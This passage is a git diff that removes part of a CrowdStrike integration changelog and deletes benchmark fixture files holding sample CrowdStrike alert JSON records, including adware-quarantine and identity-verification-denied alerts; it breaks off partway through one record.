-      link: https://github.com/elastic/integrations/pull/8025
-- version: 1.21.0
-  changes:
-    - description: Correct invalid ECS field usages at root-level.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/7968
-- version: 1.20.0
-  changes:
-    - description: ECS version updated to 8.10.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/7905
-- version: "1.19.0"
-  changes:
-    - description: Add tags.yml file so that integration's dashboards and saved searches are tagged with "Security Solution" and displayed in the Security Solution UI.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/7789
-- version: "1.18.3"
-  changes:
-    - description: Convert Win32 timestamps to unix millisecond timestamps.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/7734
-- version: "1.18.2"
-  changes:
-    - description: Fixed event tag handling for the falcon data-stream.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/7625
-- version: "1.18.1"
-  changes:
-    - description: Fixed Windows NT timestamp handling.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/7548
-- version: "1.18.0"
-  changes:
-    - description: Update package to ECS 8.9.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/7107
-- version: "1.17.0"
-  changes:
-    - description: Document duration units.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/6992
-- version: "1.16.1"
-  changes:
-    - description: Remove confusing error message tag prefix.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/7105
-- version: "1.16.0"
-  changes:
-    - description: Adding new Event types to the Falcon Datastream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/6844
-- version: "1.15.0"
-  changes:
-    - description: Overhaul of the Falcon Datastream, adding plenty of new fields and ECS mappings.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/6668
-- version: "1.14.0"
-  changes:
-    - description: Ensure event.kind is correctly set for pipeline errors.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/6613
-- version: "1.13.0"
-  changes:
-    - description: Update package to ECS 8.8.0 and pkg-spec 2.7.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/6372
-- version: "1.12.1"
-  changes:
-    - description: Fix parsing errors of LocalAddressIP4 field and calculation of process.uptime.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/5957
-- version: "1.12.0"
-  changes:
-    - description: Update package to ECS 8.7.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/5765
-- version: "1.11.2"
-  changes:
-    - description: Reduce duplicate document ingestion.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/5669
-- version: "1.11.1"
-  changes:
-    - description: Multiple IPs in `aip` field and add new fields
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/5655
-- version: "1.11.0"
-  changes:
-    - description: Support `max_number_of_messages` in SQS mode
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/5595
-- version: "1.10.2"
-  changes:
-    - description: Remove redundant GeoIP look-ups.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/5456
-- version: "1.10.1"
-  changes:
-    - description: Added categories and/or subcategories.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/5123
-- version: "1.10.0"
-  changes:
-    - description: Support Windows NT timestamps for ContextTimeStamp, StartTime and EndTime FDR fields.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/5168
-- version: "1.9.0"
-  changes:
-    - description: Update package to ECS 8.6.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/4576
-- version: "1.8.2"
-  changes:
-    - description: Fix parse of CommandLine in Falcon pipeline
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/4758
-- version: "1.8.1"
-  changes:
-    - description: Fix parse of flattened `process` fields in Falcon data stream.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/4709
-- version: "1.8.0"
-  changes:
-    - description: Update package to ECS 8.5.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/4285
-- version: "1.7.0"
-  changes:
-    - description: Expose Default Region setting to UI
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/4158
-- version: "1.6.1"
-  changes:
-    - description: Use ECS geo.location definition.
-      type: enhancement
-      link: https://github.com/elastic/integrations/issues/4227
-- version: "1.6.0"
-  changes:
-    - description: Parse executable for `process.name` in FDR data stream
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/4133
-- version: "1.5.1"
-  changes:
-    - description: Set default endpoint to empty string
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/4103
-- version: "1.5.0"
-  changes:
-    - description: Update package to ECS 8.4.0
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/3843
-- version: "1.4.2"
-  changes:
-    - description: Fix proxy URL documentation rendering.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/3881
-- version: "1.4.1"
-  changes:
-    - description: Update package name and description to align with standard wording
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/3478
-- version: "1.4.0"
-  changes:
-    - description: Update package to ECS 8.3.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/3353
-- version: "1.3.4"
-  changes:
-    - description: Prevent missing `@timestamp` field.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/3484
-- version: "1.3.3"
-  changes:
-    - description: Optimize FDR pipeline script processor.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/3302
-- version: "1.3.2"
-  changes:
-    - description: Format source.mac as per ECS.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/3302
-- version: "1.3.1"
-  changes:
-    - description: Update readme file. Added link to CrowdStrike docs
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/3057
-- version: "1.3.0"
-  changes:
-    - description: Update to ECS 8.2
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/2779
-- version: "1.2.7"
-  changes:
-    - description: Move invalid field value
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/3098
-- version: "1.2.6"
-  changes:
-    - description: Add documentation for multi-fields
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/2916
-- version: "1.2.5"
-  changes:
-    - description: Add date parsing for BiosReleaseDate field.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/2867
-- version: "1.2.4"
-  changes:
-    - description: Add missing field mapping for several event and host fields.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/2869
-- version: "1.2.3"
-  changes:
-    - description: Change type of 'fdr_parsing_script' variable to 'yaml' so that the multi-line string creates a valid YAML config document.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/2701
-- version: "1.2.2"
-  changes:
-    - description: Add Ingest Pipeline script to map IANA Protocol Numbers
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/2470
-- version: "1.2.1"
-  changes:
-    - description: Fix issue with "Is FDR Queue" selector having no effect.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/2653
-- version: "1.2.0"
-  changes:
-    - description: Update to ECS 8.0
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/2398
-- version: "1.1.2"
-  changes:
-    - description: Regenerate test files using the new GeoIP database
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/2339
-- version: "1.1.1"
-  changes:
-    - description: Change test public IPs to the supported subset
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/2327
-- version: "1.1.0"
-  changes:
-    - description: Add 8.0.0 version constraint
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/2229
-- version: "1.0.4"
-  changes:
-    - description: Add ability to read from both FDR provided and user owned SQS queues for FDR.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/2198
-    - description: Pipeline fixes for FDR
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/2198
-- version: "1.0.3"
-  changes:
-    - description: Uniform with guidelines
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/2022
-- version: "1.0.2"
-  changes:
-    - description: Update Title and Description.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/1961
-- version: "1.0.1"
-  changes:
-    - description: Fix logic that checks for the 'forwarded' tag
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/1812
-- version: '1.0.0'
-  changes:
-    - description: make GA
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/1630
-- version: "0.9.0"
-  changes:
-    - description: Update to ECS 1.12.0
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/1655
-- version: "0.8.1"
-  changes:
-    - description: Add proxy config
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/1648
-- version: "0.8.0"
-  changes:
-    - description: Add FDR data stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/1522
-    - description: Change Falcon ECS fields definition to use references
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/1522
-    - description: Add cleanup processor to Falcon
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/1522
-- version: '0.7.1'
-  changes:
-    - description: update to ECS 1.11.0
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/1378
-- version: "0.7.0"
-  changes:
-    - description: Update integration description
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/1364
-- version: "0.6.0"
-  changes:
-    - description: Set "event.module" and "event.dataset"
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/1258
-- version: "0.5.0"
-  changes:
-    - description: update to ECS 1.10.0 and add event.original options
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/1036
-- version: "0.4.1"
-  changes:
-    - description: update to ECS 1.9.0
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/841
-- version: "0.4.0"
-  changes:
-    - description: Moves edge processing to ingest pipeline
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/774
-- version: "0.3.1"
-  changes:
-    - description: Change kibana.version constraint to be more conservative.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/749
-- version: "0.1.0"
-  changes:
-    - description: initial release
-      type: enhancement # can be one of: enhancement, bugfix, breaking-change
-      link: https://github.com/elastic/integrations/pull/182
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml
deleted file mode 100644
index 30a2b50cf6..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml
+++ /dev/null
@@ -1 +0,0 @@
-num_docs: 10000
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log
deleted file mode 100644
index c0e095d6dd..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log
+++ /dev/null
@@ -1,10 +0,0 @@
-{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"has_script_or_module_ioc":"true","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"is_synthetic_quarantine_disposition":true,"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","overwatch_note":"Activity Notice: OverWatch has observed XYZ","overwatch_note_timestamp":"2025-03-01T15:31:00Z","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"rule_group_id":"1b27b7f123c44e15a13fe7f44801d123","rule_group_name":"Windows Group","rule_instance_created_by":"myuser@mydomain.com","rule_instance_id":"123","rule_instance_name":"INSTANCE-1","rule_instance_version":"1","scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
-{"agent_id":"38293534662e48c99f33c61631b3536d","aggregate_id":"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","cid":"4446934rf3fdb64ec3056ddfb96e","composite_id":"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","confidence":80,"context_timestamp":"2024-08-16T18:43:44.242Z","crawled_timestamp":"2024-08-16T18:49:02.798354466Z","created_timestamp":"2024-08-16T18:45:02.987127397Z","data_domains":["Identity"],"description":"A user denied a policy identity verification request","display_name":"Identity verification denied","end_time":"2024-08-16T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","idp_policy_mfa_factor_type":"32769","idp_policy_mfa_provider":"14","idp_policy_rule_id":"1B82F2DE-2A08-49E0-8F85-AD46996F9A65","idp_policy_rule_name":"admin - RDP Access to TIER-0 Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"Gain Access","pattern_id":51143,"poly_id":"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"High","show_in_ui":true,"source_account_azure_id":"65ddx-c454-45f9-9034-Fdf34353","source_account_domain":"NET.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1567733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"E436B3F0-078C-4629-9437-D3E3169147C0","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293534662e48c99f33c61631b3536d","source_products":["Falcon Identity Protection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"Credential Access","tactic_id":"TA0006","technique":"Brute Force","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E","target_endpoint_account_object_sid":"S-1-5-21-746137067-1844237615-1801674531-298236","target_endpoint_host_name":"GH787.net.example.com","target_endpoint_sensor_id":"ac89a368e77a4fa5837b53c7f11fc9e7","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge 126.0.0","activity_device":"LAPTOP-AP7299QV","activity_os":"Windows","active_directory_authentication_method":"5","activity_id":"2A8A7C96-0F17-412C-8105-94542784E00D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":340726,"location_longitude_as_int":-1182610,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"9F2CE16C-4A78-42E6-8565-87147707EE79","source_endpoint_account_object_sid":"S-1-5-21-111111111-2222222-1417001333-101158","source_endpoint_ip_reputation":"128","source_ip_isp_classification":"9","source_ip_isp_domain":"sioru.com","target_domain_controller_host_name":"APINTAL19DC01","target_domain_controller_object_guid":"45A24DB7-6CD3-48C5-974F-A97159E7E2B2","target_domain_controller_object_sid":"S-1-5-21-111111111-2222222-1417001333-85512","target_service_access_identifier":"HOST/admin.example.com"}
-{"aggregate_id":"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9","agent_id":"58293534772e48c99f33c61631b3536d","cid":"4446934rf3fdb64ec3056ddfb96e","context_timestamp":"2024-08-19T18:43:44.242Z","composite_id":"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","crawled_timestamp":"2024-08-19T18:49:02.798354466Z","created_timestamp":"2024-08-19T18:45:02.987127397Z","data_domains":["Identity"],"description":"Auserdeniedapolicyidentityverificationrequest","display_name":"Identityverificationdenied","end_time":"2024-08-19T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429","idp_policy_mfa_factor_type":"42669","idp_policy_mfa_provider":"11","idp_policy_rule_id":"123324-343-4dfa9E0-8F85-dfaa3242","idp_policy_rule_name":"admin-RDPAccesstoTIER-0Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"GainAccess","pattern_id":45897,"poly_id":"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"Medium","show_in_ui":true,"source_account_azure_id":"65ddx-c454-324d-9034-Fdf34353","source_account_domain":"BCD.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1117733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"FDHJJ343-098C-4629-9437-DD3424GHJ","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293523261gh48c99ffd234c6190123536e","source_products":["FalconIdentityProtection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"CredentialAccess","tactic_id":"TA0006","technique":"BruteForce","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536","target_endpoint_account_object_sid":"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236","target_endpoint_host_name":"GH787.abc.example.com","target_endpoint_sensor_id":"afdsasf3423432nndv3432v","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name"